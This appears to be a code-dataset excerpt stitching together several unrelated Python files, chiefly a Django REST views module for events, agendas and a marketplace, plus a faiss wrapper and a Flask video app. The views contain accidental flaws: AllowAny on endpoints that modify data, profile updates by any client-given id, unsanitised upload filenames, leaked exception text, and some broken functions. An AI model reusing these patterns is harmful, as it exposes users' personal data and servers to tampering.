\"\\n\" + msg4 + \"\\n\")\n action = input(\"Give a value (Search, Add, Delete, Print) : \")\n print()\n\n if action == \"S\" or action == \"Search\":\n name = input(\"Give me a name to Search: \")\n if name in names:\n index = names.index(name)\n phone = phones[index]\n print(name + \" phone number is: \" + phone)\n else:\n print(name + \" not found\")\n\n elif action == \"A\" or action == \"Add\":\n name = input(\"Give me a name to Add: \")\n if name not in names:\n names.append(name)\n phone = input(\"Give me \" + name + \" phone number: \")\n phones.append(phone)\n save()\n print(name + \" Added\\n\")\n else:\n print(name + \" already exists! Give another name.\")\n\n elif action == \"D\" or action == \"Delete\":\n name = input(\"Give me a name to Delete: \")\n if name in names:\n index = names.index(name)\n names.pop(index)\n phones.pop(index)\n save()\n print(name + \" Deleted\\n\")\n else:\n print(name + \" not found\")\n\n elif action == \"P\" or action == \"Print\":\n print(\"\\nPHONE BOOK \\n\")\n for i in range(len(names)):\n print(names[i] + \" --> \" + phones[i])\n\n print(\"\\n\")\n exit = input(\"Type Exit to finish or press enter to continue: \")\n","sub_path":"Phone_book/phone_book.py","file_name":"phone_book.py","file_ext":"py","file_size_in_byte":1994,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"517836547","text":"from __future__ import absolute_import\nimport os\nimport faiss\nimport numpy as np\nfrom ann_benchmarks.constants import INDEX_DIR\nfrom ann_benchmarks.algorithms.base import BaseANN\n\n\nclass FaissHNSW(BaseANN):\n def __init__(self, metric, method_param):\n self.metric = metric\n self.method_param = method_param\n self.name = 'faiss (%s)' % (self.method_param)\n\n def fit(self, X):\n\n self.index = faiss.IndexHNSWFlat(len(X[0]),self.method_param[\"M\"])\n self.index.hnsw.efConstruction = self.method_param[\"efConstruction\"]\n self.index.verbose = True\n if(self.metric == 'angular'):\n X = X / np.linalg.norm(X, axis=1)[:, np.newaxis]\n self.index.add(X)\n faiss.omp_set_num_threads(1)\n def set_query_arguments(self, ef):\n self.index.hnsw.efSearch = ef\n\n def query(self, v, n):\n D, I = self.index.search(np.expand_dims(v,axis=0), n)\n return I[0]\n\n\n def freeIndex(self):\n del self.p\n","sub_path":"ann_benchmarks/algorithms/faiss_hnsw.py","file_name":"faiss_hnsw.py","file_ext":"py","file_size_in_byte":983,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"77348375","text":"from rest_framework.authentication import SessionAuthentication, BasicAuthentication, TokenAuthentication\nfrom django.contrib.auth import get_user_model\nfrom django.db.models import Q\nfrom django.shortcuts import render\nfrom django.contrib.auth.models import User\nfrom rest_framework import status, viewsets\nfrom rest_framework.generics import CreateAPIView, ListAPIView\nfrom .serializers import (\n UserSerializer,\n UserProfileSerializer,\n EventsSerializer,\n UserCreateSerializer,\n CreateEventSerializer,\n CreateConnectionSerializer,\n UploadImageSerializer,\n AdgendaSerializer,\n MarketPlaceSerializer,\n ImageSerializer\n)\nfrom myapp.form_serializsers import MarketPlacePictureForm\nfrom rest_framework.viewsets import GenericViewSet\nfrom rest_framework.mixins import CreateModelMixin\nfrom rest_framework import permissions\nfrom rest_framework.parsers import MultiPartParser, FormParser, JSONParser\nfrom rest_framework.views import APIView\nfrom rest_framework.permissions import AllowAny\nfrom rest_framework.response import Response\nfrom .models import (UserProfile,\n Event,\n Adgenda,\n Connection,\n AdgendaInvites,\n MarketPlace,\n UploadIMG,\n Connection,\n MarketPlacePictures,\n EventInvites)\nimport logging\nfrom rest_framework.permissions import IsAuthenticated\nfrom myapp import helper\nimport json\nimport os\nimport base64\nfrom django.core.files.base import ContentFile\nfrom myapp import constants, config\nimport datetime\n# Create your views here.\nUserModel = get_user_model()\nlogger = logging.getLogger(__name__)\n# from rest_framework.permissions import IsAuthenticated\n\n\nclass UserList(ListAPIView):\n authentication_classes = (SessionAuthentication, TokenAuthentication)\n permission_classes = (IsAuthenticated,)\n\n queryset = User.objects.all()\n serializer_class = UserSerializer\n\n# class Users(ListAPIView):\n# permission_classes = (AllowAny,)\n# queryset = Connection.all()\n# queryset = User.objects.all()\n# serializer_class = UserSerializer\n\n\nclass Users(APIView):\n res = None\n\n def get(self, req):\n permission_classes = (AllowAny,)\n queryset = Connection.objects.all()\n qr = Q()\n q = User.objects\n try:\n for o in queryset:\n conId = o.id\n if o not in [None, '']:\n qr = ~Q(pk=conId)\n q = q.filter(qr)\n ser = UserSerializer(\n q, many=True, context={'request': req})\n res = Response(ser.data)\n else:\n res = Response({'no record': 0})\n except Exception as e:\n res = Response({'error': 1, 'message': str(e)})\n return res\n\n\nclass UserDetail(APIView):\n permission_classes = (AllowAny,)\n\n def get(self, req):\n res = None\n try:\n serializer = UserSerializer(req.user)\n res = Response(serializer.data, status=status.HTTP_200_OK)\n except Exception as e:\n logger.exception(e)\n res = Response({'error': 1, 'message': str(e)},\n status=status.HTTP_503_SERVICE_UNAVAILABLE)\n return res\n\n def post(self, req):\n data = req.data\n dic = {\n 'username': data['username'],\n 'password': data['username']\n }\n print(dic['username'])\n return Response(1)\n\n\nclass CurrentUser(APIView):\n permission_classes = (AllowAny,)\n\n def get(self, req, id):\n res = None\n qr = Q()\n q = UserProfile.objects\n hasId = False\n try:\n if id not in [None, '']:\n hasId = True\n if hasId:\n qr = Q(user=id)\n q = q.filter(qr)\n ser = UserProfileSerializer(\n q, many=True, context={'request': req})\n res = Response(ser.data)\n else:\n res = Response(\n {'error': 1}, status=status.HTTP_400_BAD_REQUEST)\n except Exception as e:\n res = Response({'error': 1, 'message': str(e)},\n status=status.HTTP_500_INTERNAL_SERVER_ERROR)\n return res\n\nclass GlobalEvents(APIView):\n res = None\n def get(self, req):\n try:\n queryset = Event.objects.all()\n ser = EventsSerializer(queryset, many=True, context={'request': req})\n res = Response(ser.data)\n except Exception as e:\n res = Response(2)\n return res\n\nclass Events(APIView):\n # permission_classes = (AllowAny,)\n # def get(self, req, id):\n # res = None\n # qr = Q()\n # event_id = id\n # q = Event.objects\n # try:\n # qr = Q(pk=event_id)\n # q = q.filter(qr)\n # ser = EventsSerializer(q, many=True, context={'request': req})\n # res = Response(ser.data)\n # except Exception as e:\n # logger.exception(e)\n # res = Response({'error': 1, 'message': str(e)},\n # status=status.HTTP_500_INTERNAL_SERVER_ERROR)\n # return res\n # permission_classes = (AllowAny,)\n def get(self, req, id):\n res = None\n qr = Q()\n event_id = id\n q = Event.objects\n try:\n qr = Q(pk=event_id)\n q = q.filter(qr)\n ser = EventsSerializer(q, many=True, context={'request': req})\n res = Response(ser.data)\n except Exception as e:\n logger.exception(e)\n res = Response({'error': 1, 'message': str(e)},\n status=status.HTTP_500_INTERNAL_SERVER_ERROR)\n return res\n\n def delete(self, req, id):\n try:\n if id not in [None, '']:\n o = Event.objects.get(pk=id)\n o.delete()\n res = Response(1)\n except Exception as e:\n res = Response({'error': 1, 'message': str(e)})\n return res\n\n def post(self, req):\n try:\n dic = req.data\n obj = Event(\n event_name=dic['event_name'],\n selected_address=dic['selected_address'],\n location=dic['location'],\n category=dic['category'],\n about_event=dic['about_event'],\n start_time=dic['start_time'],\n start_date=dic['start_date'],\n end_time=dic['end_time'],\n end_date=dic['end_date'],\n created_by=req.user,\n user=req.user\n )\n obj.save()\n # uploadEventImage(req, obj.id)\n res = Response({'success': 1, 'id': obj.id},\n status=status.HTTP_201_CREATED)\n except Exception as e:\n logger.exception(e)\n res = Response({'error': 1, 'message': str(e)},\n status=status.HTTP_500_INTERNAL_SERVER_ERROR)\n return res\n\n def put(self, req, id):\n try:\n data = req.data\n o = Event.objects.get(pk=id)\n o.event_name = data['event_name']\n o.selected_address = data['selected_address']\n o.location = data['location']\n o.category = data['category']\n o.about_event = data['about_event']\n o.start_time = data['start_time']\n o.start_date = data['start_date']\n o.end_time = data['end_time']\n o.end_date = data['end_date']\n o.user = req.user\n o.save()\n res = Response({'success': 1})\n except Exception as e:\n res = Response({'error': 1, \"message\": str(e)},\n status=status.HTTP_500_INTERNAL_SERVER_ERROR)\n return res\n\nclass searchEvent(APIView):\n permission_classes = (AllowAny,)\n\n def get(self, req):\n res = None\n qr = Q()\n term = req.GET.get('term')\n serializer = UserSerializer(req.user)\n user_id = serializer.data['id']\n q = Event.objects\n try:\n qr = Q(user=user_id)\n q = q.filter(qr)\n if term not in [None, '']:\n qr = Q(event_name__icontains=term)\n q = q.filter(qr)\n hasfilter = True\n else:\n qr = Q(user=user_id)\n q = q.filter(qr)\n ser = EventsSerializer(q, many=True, context={'request': req})\n res = Response(ser.data)\n\n except Exception as e:\n logger.exception(e)\n res = Response({'error': 1, 'message': str(e)},\n status=status.HTTP_404_NOT_FOUND)\n return res\n\n def post(self, req):\n try:\n dic = req.data\n obj = Event(\n event_name=dic['event_name'],\n selected_address=dic['selected_address'],\n location=dic['location'],\n category=dic['category'],\n about_event=dic['about_event'],\n start_time=dic['start_time'],\n start_date=dic['start_date'],\n end_time=dic['end_time'],\n end_date=dic['end_date'],\n created_by=req.user,\n user=req.user\n )\n obj.save()\n # uploadEventImage(req, obj.id)\n res = Response({'success': 1, 'id': obj.id},\n status=status.HTTP_201_CREATED)\n except Exception as e:\n logger.exception(e)\n res = Response({'error': 1, 'message': str(e)},\n status=status.HTTP_500_INTERNAL_SERVER_ERROR)\n return res\n\n def put(self, req, id):\n try:\n data = req.data\n o = Event.objects.get(pk=id)\n o.event_name = data['event_name']\n o.selected_address = data['selected_address']\n o.location = data['location']\n o.category = data['category']\n o.about_event = data['about_event']\n o.start_time = data['start_time']\n o.start_date = data['start_date']\n o.end_time = data['end_time']\n o.end_date = data['end_date']\n o.user = req.user\n o.save()\n res = Response({'success': 1})\n except Exception as e:\n res = Response({'error': 1, \"message\": str(e)},\n status=status.HTTP_500_INTERNAL_SERVER_ERROR)\n return res\n\n\nclass EventList(APIView):\n permission_classes = (AllowAny,)\n def get(self, req):\n print(req.user)\n res = None\n qr = Q()\n serializer = UserSerializer(req.user)\n user_id = serializer.data['id']\n q = Event.objects # .values_list('id', flat=True).filter(user=d)\n try:\n qr = Q(user=user_id)\n q = q.filter(qr)\n ser = EventsSerializer(q, many=True, context={'request': req})\n res = Response(ser.data)\n except Exception as e:\n logger.exception(e)\n res = Response({'error': 1, 'message': str(e)},\n status=status.HTTP_500_INTERNAL_SERVER_ERROR)\n return res\n\n\nclass UploadEventImage(APIView):\n parser_classes = (MultiPartParser, FormParser)\n permission_classes = (AllowAny,)\n def post(self, req, id, format=None):\n res = None\n isExist = False\n try:\n if req.FILES['picture'] is not None:\n o = Event.objects.get(pk=id)\n o.event_image = req.FILES['picture']\n o.save()\n return Response({'success': 1}, status=status.HTTP_200_OK)\n except Exception as e:\n logger.exception(e)\n res = Response({'error': 1, 'message': str(e)},\n status=status.HTTP_500_INTERNAL_SERVER_ERROR)\n return res\n\nclass testUpload(APIView):\n parser_classes = (MultiPartParser, FormParser)\n permission_classes = (AllowAny,)\n\n def post(self, req, id, format=None):\n res = None\n print('test this is called')\n try:\n user = req.user\n # id = user.id\n event_id = id\n _user = UserModel._default_manager.get_by_natural_key(user.username)\n # _event = Event._def\n if req.FILES.get('picture') is not None:\n self.upload_test_picture(req.FILES['picture'], _user, event_id)\n return Response({ 'success': 1 })\n except UserModel.DoesNotExist:\n res = Response({ 'error': constants.ErrorCode.GEN_0010 }, status=status.HTTP_404_NOT_FOUND)\n\n except Exception as e:\n logger.exception(e)\n res = Response({ 'error': 1, 'message': str(e) }, status=status.HTTP_500_INTERNAL_SERVER_ERROR)\n\n return res\n\n def upload_test_picture(self, f, o, event_id):\n dic = {\n 'event_image': f\n }\n # assert isinstance(o, UserModel)\n # if o.profile_pic not in [None, '']: \n # self.remove_profile_pic(o)\n\n fname = f.name\n filepath = self.get_profile_pic_test_upload_path(fname, o, event_id)\n print(filepath)\n with open(filepath, 'wb+') as fp:\n for chunk in f.chunks():\n fp.write(chunk)\n t = Event.objects.get(pk=event_id)\n t.event_image = fname\n t.save()\n\n def get_profile_pic_test_upload_path(self, filename, o, event_id):\n r = None\n try:\n j = self.get_test_profile_pic_dir(o, event_id)\n self.ensure_dir(j)\n r = os.path.join(j, filename)\n except:\n raise\n return r\n\n def ensure_dir(self, f):\n if not os.path.exists(f):\n os.makedirs(f) \n \n def get_test_profile_pic_dir(self, o, event_id):\n j = None\n try:\n i = os.path.join(config.MEDIA_ROOT, 'events')\n j = os.path.join(i, '__{0}__'.format(event_id))\n\n except:\n raise\n\n return j\n\nclass CreateUserView(APIView):\n permission_classes = (AllowAny,)\n res = None\n\n def post(self, req):\n try:\n data = req.data\n user = User.objects.create_user(username=data['email'],\n email=data['email'],\n password=data['password'])\n res = Response({'success': 1})\n except Exception as e:\n res = Response({'error': 1, 'message': str(e)},\n status=status.HTTP_500_INTERNAL_SERVER_ERROR)\n return res\n\n\nclass LoginWithGmail(APIView):\n permission_classes = (AllowAny,)\n res = None\n\n def post(self, req):\n try:\n data = req.data\n print(data)\n user = User.objects.create_user(\n username=data['email'],\n first_name=data['first_name'],\n last_name=data['last_name'],\n password=data['password'])\n res = Response({'success': 1})\n user.save()\n except Exception as e:\n res = Response({'error': 1, 'message': str(e)},\n status=status.HTTP_500_INTERNAL_SERVER_ERROR)\n return res\n\n\nclass UpdateUser(APIView):\n permission_classes = (AllowAny,)\n\n def put(self, req):\n\n try:\n dic = req.data\n usr = User.objects.get(pk=dic['id'])\n usr.first_name = dic['first_name']\n usr.last_name = dic['last_name']\n usr.save()\n obj = UserProfile(\n pk=dic['id'],\n email=dic['email'],\n phone=dic['phone'],\n company_name=dic['company_name'],\n steps=int(1),\n designation=dic['designation'],\n about_me=dic['about_me'],\n address=dic['address'],\n dob=dic['dob'],\n # organization_name=dic['organization_name'],\n position_held=dic['position_held'],\n passport=dic['passport'],\n account_no=dic['account_no'],\n main_interest=dic['main_interest'],\n sub_interest=dic['sub_interest'],\n created_date=helper.current_date(),\n user=req.user,\n created_by=req.user)\n obj.save()\n if obj:\n res = Response(1)\n else:\n res = Response(\n {'error': 1}, status=status.HTTP_400_BAD_REQUEST)\n except Exception as e:\n res = Response({'error': 1, 'message': str(e)},\n status=status.HTTP_500_INTERNAL_SERVER_ERROR)\n return res\n\n\nclass uploadUserProfile(viewsets.ModelViewSet):\n permission_classes = (AllowAny,)\n queryset = UserProfile.objects.all()\n serializer_class = UploadImageSerializer\n\n\nclass SearchList(APIView):\n permission_classes = (AllowAny,)\n\n def get(self, req):\n res = None\n qr = Q()\n term = req.GET.get('term')\n serializer = UserSerializer(req.user)\n user_id = serializer.data['id']\n q = Event.objects\n try:\n # qr = Q(user=user_id)\n # q = q.filter(qr)\n if term not in [None, '']:\n qr = Q(event_name__icontains=term)\n q = q.filter(qr)\n hasfilter = True\n else:\n # qr = Q(user=user_id)\n # q = q.filter(qr)\n q = Event.objects.all()\n ser = EventsSerializer(q, many=True, context={'request': req})\n res = Response(ser.data)\n\n except Exception as e:\n logger.exception(e)\n res = Response({'error': 1, 'message': str(e)},\n status=status.HTTP_404_NOT_FOUND)\n return res\n\n\nclass getTicket(APIView):\n permission_classes = (AllowAny,)\n res = None\n haseUser = False\n isCreated = False\n qr = Q()\n\n def get(self, req, id):\n try:\n evList = Event.objects.all().filter(pk=id)\n for s in evList:\n qr = EventInvites(\n # user=req.user,\n invite_id=req.user,\n event_id=s.id,\n status=1,\n created_by=req.user\n )\n qr.save()\n res = Response({'success': 1})\n # queryset = Event.objects.filter(pk=id)\n # for obj in queryset:\n # created_by_id = obj.created_by,\n # if created_by_id not in [None, '']:\n # isCreated = True\n # else:\n # res = Response(\n # {'event': 0, 'message': 'event has been closed'}, status=status.HTTP_404_NOT_FOUND)\n # if user_id not in [None, '']:\n # haseUser = True\n # if id in [None, '']:\n # res = Response({'error': 1}, status=status.HTTP_404_NOT_FOUND)\n # if haseUser and isCreated:\n # dic = {\n # 'user': user_id,\n # 'invited_id': user_id\n # }\n # ser = CreateConnectionSerializer(data=dic)\n # if ser.is_valid():\n # ser.save()\n # res = Response(\n # {'success': 1}, status=status.HTTP_201_CREATED)\n # else:\n # res = Response(\n # {'error': 1}, status=status.HTTP_404_NOT_FOUND)\n # else:\n # res = Response({'error': 1}, status=status.HTTP_404_NOT_FOUND)\n except Exception as e:\n res = Response({'error': 1, 'message': str(e)},\n status=status.HTTP_400_BAD_REQUEST)\n return res\n\n# class GetEvent(id):\n# print(id)\n# return id\n\n\nclass AdgendaAPI(APIView):\n permission_classes = (AllowAny,)\n res = None\n\n def get(self, req, id):\n qr = Q()\n q = Adgenda.objects\n try:\n qr = Q(pk=id)\n q = q.filter(qr)\n ser = AdgendaSerializer(q, many=True, context={'request': req})\n res = Response(ser.data)\n except Exception as e:\n res = Response({'error': 1, \"message\": str(e)},\n status=status.HTTP_500_INTERNAL_SERVER_ERROR)\n return res\n\n def delete(self, req, id):\n try:\n q = Adgenda.objects.get(pk=id)\n q.delete()\n res = Response({'message', 'success'}, status=status.HTTP_200_OK)\n except Exception as e:\n res = Response({'error': 1, \"message\": str(e)},\n status=status.HTTP_500_INTERNAL_SERVER_ERROR)\n return res\n\n def put(self, req, id):\n try:\n o = Adgenda.objects.get(pk=id)\n data = req.data\n o.title = data['title']\n o.address = data['address']\n o.notes = data['notes']\n o.start_time = data['start_time']\n o.start_date = data['start_date']\n o.user = req.user\n o.save()\n res = Response({'success': 1})\n except Exception as e:\n res = Response({'error': 1, \"message\": str(e)},\n status=status.HTTP_500_INTERNAL_SERVER_ERROR)\n return res\n\nclass getAgendaConnection(APIView):\n permission_classes = (AllowAny,)\n res = None\n def get(self, req, id):\n qr = Q()\n q = AdgendaInvites.objects\n try:\n arr = []\n qr = Q(adg_id=id)\n q = q.filter(qr)\n for s in q:\n o = UserProfile.objects.all().filter(pk=s.invite_id)\n arr.extend(o)\n ser = UserProfileSerializer(arr, many=True, context={'request': req})\n res = Response(ser.data)\n except Exception as e:\n res = Response({'error': 1, \"message\": str(e)},\n status=status.HTTP_500_INTERNAL_SERVER_ERROR)\n return res\nclass SortAdgenda(APIView):\n\n permission_classes = (AllowAny,)\n res = None\n def get(self, req):\n prm = req.GET['prm']\n qr = Q()\n q = Adgenda.objects\n try:\n qr = Q(start_date__month=prm)\n q = q.filter(qr)\n ser = AdgendaSerializer(q, many=True, context={'request': req})\n res = Response(ser.data)\n except Exception as e:\n res = Response({'error': 1, \"message\": str(e)},\n status=status.HTTP_500_INTERNAL_SERVER_ERROR)\n return res\n \nclass CreateAdgena(APIView):\n res = None\n haseUser = False\n\n def post(self, req):\n isSave = False\n try:\n dic = req.data\n obj = Adgenda(\n title=dic['title'],\n address=dic['address'],\n notes=dic['notes'],\n start_time=dic['start_time'],\n start_date=dic['start_date'],\n created_by=req.user,\n user=req.user\n )\n obj.save()\n adjId = obj.id\n invites = dic['invites']\n if invites not in (None, ''):\n for iv in invites:\n ivId = iv['id']\n # queryset= User.objects.filter(id=ivId)\n # for qr in queryset:\n invite_obj = AdgendaInvites(\n # user=req.user,\n invite_id=ivId,\n status=0,\n adg_id=adjId, # Adgenda.objects.filter(pk=adjId),\n created_by=req.user\n )\n invite_obj.save()\n res = Response(\n {'success': 1}, status=status.HTTP_201_CREATED)\n except Exception as e:\n res = Response({'error': 1, \"message\": str(e)},\n status=status.HTTP_500_INTERNAL_SERVER_ERROR)\n return res\n\n def get(self, req):\n res = None\n qr = Q()\n serializer = UserSerializer(req.user)\n user_id = serializer.data['id']\n q = Adgenda.objects\n try:\n qr = Q(user=user_id)\n q = q.filter(qr)\n ser = AdgendaSerializer(q, many=True, context={'request': req})\n res = Response(ser.data)\n except Exception as e:\n logger.exception(e)\n res = Response({'error': 1, 'message': str(e)},\n status=status.HTTP_500_INTERNAL_SERVER_ERROR)\n return res\n\n\nclass Connections(APIView):\n permission_classes = (AllowAny,)\n res = None\n\n def get(self, req):\n qr = Q()\n q = User.objects\n conList = Connection.objects.filter(user=req.user)\n try:\n arr = []\n for co in conList:\n o = User.objects.all().filter(pk=co.id)\n arr.extend(o)\n ser = UserSerializer(arr, many=True, context={'request': req})\n res = Response(ser.data)\n except Exception as e:\n logger.exception(e)\n res = Response({'error': 1, 'message': str(e)},\n status=status.HTTP_500_INTERNAL_SERVER_ERROR)\n return res\n\n\nclass MarketPlaceAPIView(APIView):\n res = None\n\n def post(self, req):\n try:\n data = req.data\n obj = MarketPlace(\n item_name=data['item_name'],\n price=data['price'],\n qty=data['qty'],\n desc=data['desc'],\n user=req.user,\n picture=data['picture'],\n created_by=req.user\n )\n obj.save()\n _uploadImge(obj.id, req)\n res = Response({'success': 1}, status=status.HTTP_201_CREATED)\n except Exception as e:\n res = Response({'error': 1, 'message': str(e)},\n status=status.HTTP_500_INTERNAL_SERVER_ERROR)\n return res\n\n def get(self, req, id):\n print(id)\n res = None\n qr = Q()\n q = MarketPlace.objects\n try:\n qr = Q(pk=id)\n q = q.filter(qr)\n ser = MarketPlaceSerializer(q, many=True, context={'request': req})\n res = Response(ser.data)\n except Exception as e:\n logger.exception(e)\n res = Response({'error': 1, 'message': str(e)},\n status=status.HTTP_500_INTERNAL_SERVER_ERROR)\n return res\n\n def put(self, req, id):\n try:\n o = MarketPlace.objects.get(pk=id)\n data = req.data\n o.item_name = data['item_name']\n o.price = data['price']\n o.qty = data['qty']\n o.desc = data['desc']\n o.picture = data['picture']\n o.user = req.user\n o.created_by = req.user\n o.save()\n res = Response({'success': 1}, status=status.HTTP_200_OK)\n except Exception as e:\n res = Response({'error': 1, 'message': str(e)},\n status=status.HTTP_500_INTERNAL_SERVER_ERROR)\n return res\n\n\ndef _uploadImge(id, file):\n def put(self, req, id):\n try:\n o = MarketPlace.objects.get(pk=id)\n data = req.data\n o.item_name = data['item_name']\n o.price = data['price']\n o.qty = data['qty']\n o.desc = data['desc']\n o.picture = data['picture']\n o.user = req.user\n o.created_by = req.user\n o.save()\n res = Response({'success': 1}, status=status.HTTP_200_OK)\n except Exception as e:\n res = Response({'error': 1, 'message': str(e)},\n status=status.HTTP_500_INTERNAL_SERVER_ERROR)\n return res\n\n def get(self, req, id):\n print(id)\n res = None\n qr = Q()\n q = MarketPlace.objects\n try:\n qr = Q(pk=id)\n q = q.filter(qr)\n ser = MarketPlaceSerializer(q, many=True, context={'request': req})\n res = Response(ser.data)\n except Exception as e:\n logger.exception(e)\n res = Response({'error': 1, 'message': str(e)},\n status=status.HTTP_500_INTERNAL_SERVER_ERROR)\n return res\n\n\nclass MarketPlaceList(APIView):\n permission_classes = (AllowAny,)\n\n def get(self, req):\n res = None\n qr = Q()\n serializer = MarketPlaceSerializer(req.user)\n user_id = serializer.data['id']\n q = MarketPlace.objects # .values_list('id', flat=True).filter(user=d)\n try:\n qr = Q(user=user_id)\n q = q.filter(qr)\n ser = MarketPlaceSerializer(q, many=True, context={'request': req})\n res = Response(ser.data)\n except Exception as e:\n logger.exception(e)\n res = Response({'error': 1, 'message': str(e)},\n status=status.HTTP_500_INTERNAL_SERVER_ERROR)\n return res\n\nclass GlobalMarketPlaceList(APIView):\n permission_classes = (AllowAny,)\n\n def get(self, req):\n res = None\n try:\n queryset = MarketPlace.objects.all()\n ser = MarketPlaceSerializer(queryset, many=True, context={'request': req})\n res = Response(ser.data)\n except Exception as e:\n res = Response({'error': 1, 'message': str(e)},\n status=status.HTTP_500_INTERNAL_SERVER_ERROR)\n return res\n\nclass MarketPlaceUploadPicture(APIView):\n parser_classes = (MultiPartParser, FormParser)\n permission_classes = (AllowAny,)\n res = None\n def post(self, req, id, format=None):\n res = None\n user = req.user\n try:\n id = user.id\n _user = UserModel._default_manager.get_by_natural_key(user.username)\n if req.FILES.get('picture') is not None:\n o = Event.objects.get(pk=3)\n self.upload_picture(req.FILES['picture'], o)\n res = Response({ 'success': 1 })\n else: \n print('dont have picture')\n return Response({'no picture': 1}, status=status.HTTP_200_OK)\n except Exception as e:\n logger.exception(e)\n res = Response({'error': 1, 'message': str(e)},\n status=status.HTTP_500_INTERNAL_SERVER_ERROR)\n return res\n def upload_picture(self, f, o):\n dic = {\n 'event_image': f\n }\n ser = MarketPlacePictureForm(data=dic)\n if not ser.is_valid():\n print('file is not valid')\n assert isinstance(o, Event)\n # if o.profile_pic not in [None, '']: \n # self.remove_profile_pic(o)\n fname = f.name\n filepath = self.get_profile_pic_upload_path(o, fname)\n\n with open(filepath, 'wb+') as fp:\n for chunk in f.chunks():\n fp.write(chunk)\n\n o.profile_pic = fname\n o.save()\n\n def remove_profile_pic(self, o):\n try:\n # k = self.get_profile_pic_path(o)\n # if k not in [None, ''] and os.path.exists(k):\n # os.remove(k)\n print('image removed') \n except Exception as e:\n raise e\n\n def get_profile_pic_upload_path(self, o, filename):\n r = None\n try:\n j = self.get_profile_pic_dir(o)\n self.ensure_dir(j)\n r = os.path.join(j, filename)\n\n except:\n raise\n\n return r\n\n def ensure_dir(self, f):\n if not os.path.exists(f):\n os.makedirs(f)\n\n def get_profile_pic_dir(self, o):\n j = None\n try:\n i = os.path.join(constants.MEDIA_PATH.MARKET_PLACE_MEDIA_PATH, 'market-place')\n j = os.path.join(i, '__{0}__'.format(o.id))\n except Exception as e:\n raise e\n\n return j\n\nclass UserProfilePictureUpload(APIView):\n parser_classes = (MultiPartParser, FormParser)\n permission_classes = (AllowAny,)\n\n def post(self, req, id, format=None):\n res = None\n isExist = False\n try:\n if req.FILES['picture'] is not None:\n queryset = UserProfile.objects.filter(pk=id)\n for j in queryset:\n imgPath = j.picture\n if imgPath not in [None, '']:\n k = str(j.picture).split('/')\n if _delete_file(k[2]):\n print('success')\n else:\n print('can not delete')\n else:\n print('new image')\n o = UserProfile.objects.get(pk=id)\n o.picture = req.FILES['picture']\n o.save()\n\n return Response({'success': 1}, status=status.HTTP_200_OK)\n except Exception as e:\n logger.exception(e)\n res = Response({'error': 1, 'message': str(e)},\n status=status.HTTP_500_INTERNAL_SERVER_ERROR)\n return res\n\n\ndef _delete_file(image):\n isDeleted = False\n path = str(constants.MEDIA_PATH.USER_PP_PATH+'/'+image)\n if os.path.isfile(path):\n os.remove(path)\n isDeleted = True\n else:\n # os.remove(path)\n isDeleted = False\n return isDeleted\n\n\nclass InviteConnections(APIView):\n res = None\n hasUser = False\n\n def post(self, req):\n try:\n if req.user not in [None, '']:\n for o in req.data:\n ser = Connection(\n user=req.user,\n invited_id=o['id'],\n modified_by=req.user\n )\n ser.save()\n res = Response({'success ': 1})\n else:\n res = Response(\n {'error', 1}, status=status.HTTP_400_BAD_REQUEST)\n except Exception as e:\n res = Response({'error': 1, 'message': str(e)},\n status=status.HTTP_500_INTERNAL_SERVER_ERROR)\n return res\n","sub_path":"myapp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":34334,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"548535109","text":"from pull_blob import pull_main\nfrom ffmpeg_main import pre_process\nfrom odmainutil_batch import object_d2\nfrom odmainutil_batch import load_model\n\nimport os\nimport requests\nfrom flask import Flask,request\nfrom flask_caching import Cache\n\n\napp = Flask(__name__)\napp.config['CACHE_TYPE'] = 'simple'\n\ncache = Cache()\ncache.init_app(app)\n\n@cache.cached(timeout = 10e8)\ndef model():\n return load_model()\n\n@app.route(\"/\", methods=['GET','POST'])\ndef app_main():\n\n os.system('rm /app/*mp4')\n message = request.get_json(force=True)\n video_id = message[\"ID\"]\n fps = int(message['FPS'])\n duration = int(message[\"duration\"])\n lang = message['lang'].lower()\n container_client = message['container'].lower()\n \n pull_main(video_id=video_id, lang= lang, container_client = container_client)\n pre_process(video_id=video_id, fps=fps, trim_duration=duration)\n data = object_d2(video_id= f'{video_id}_', model= model())\n return data\n\n\nif __name__=='__main__':\n app.run(debug=True, host='0.0.0.0', port=5000)\n\n","sub_path":"source_code/flask_app.py","file_name":"flask_app.py","file_ext":"py","file_size_in_byte":1034,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"119017423","text":"import os\n# Returns true if file is associated with a test file\nimport pickle\n\n\ndef is_test_file(file):\n name = os.path.basename(file.lower())\n if not name.endswith('.java'):\n return False\n if name.endswith('test.java'):\n return True\n if name.startswith('test'):\n return True\n return False\n\n\ndef get_from_cache(cache_file_path, retrieve_func):\n if os.path.isfile(cache_file_path):\n cache_file = open(cache_file_path, 'rb')\n ans = pickle.load(cache_file)\n cache_file.close()\n return ans\n else:\n data = retrieve_func()\n cache_file = open(cache_file_path, 'wb')\n pickle.dump(data, cache_file, protocol=2)\n cache_file.close()\n return data","sub_path":"PossibleBugMiner/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":739,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"352511288","text":"import random\nfrom datetime import datetime\n\ndef read_file():\n \"\"\"读取文件\"\"\"\n file_name = 'test.txt'\n file_path = 'E:\\\\python_project_mk\\\\test.txt'\n file_path2 = 'E:/python_project_mk/test.txt'\n #用普通方式打开\n f = open(file_path2, encoding='UTF-8')\n # rest = f.readlines()\n # print(rest[0])\n # print(f.read())\n # f.seek(3)#跳过一个汉字\n # print(f.read(5))\n f.close()\n\ndef write_file():\n file_name = 'write_file.txt'\n # with open(file_name, 'w', encoding=\"UTF-8\") as f:\n # f.write(\"hello\")\n # f.write('\\n')\n # f.write(\"world\")\n # l = ['第一行', '\\n', '第二行', '\\n', '第三行']\n # f.writelines(l)\n\n with open(file_name, 'a', encoding=\"utf-8\") as f:\n #记录用户日志\n for i in range(6):\n rest = '用户：{0} - 访问时间{1} \\n'.format(random.randint(100, 1000), datetime.now())\n f.write(rest)\n\n\ndef read_and_write():\n file_name = 'read_and_write.txt'\n with open(file_name, 'a+') as f:\n read_rest = f.read()\n if '1' in read_rest:\n f.write('aaa')\n else:\n f.write('bbb')\n 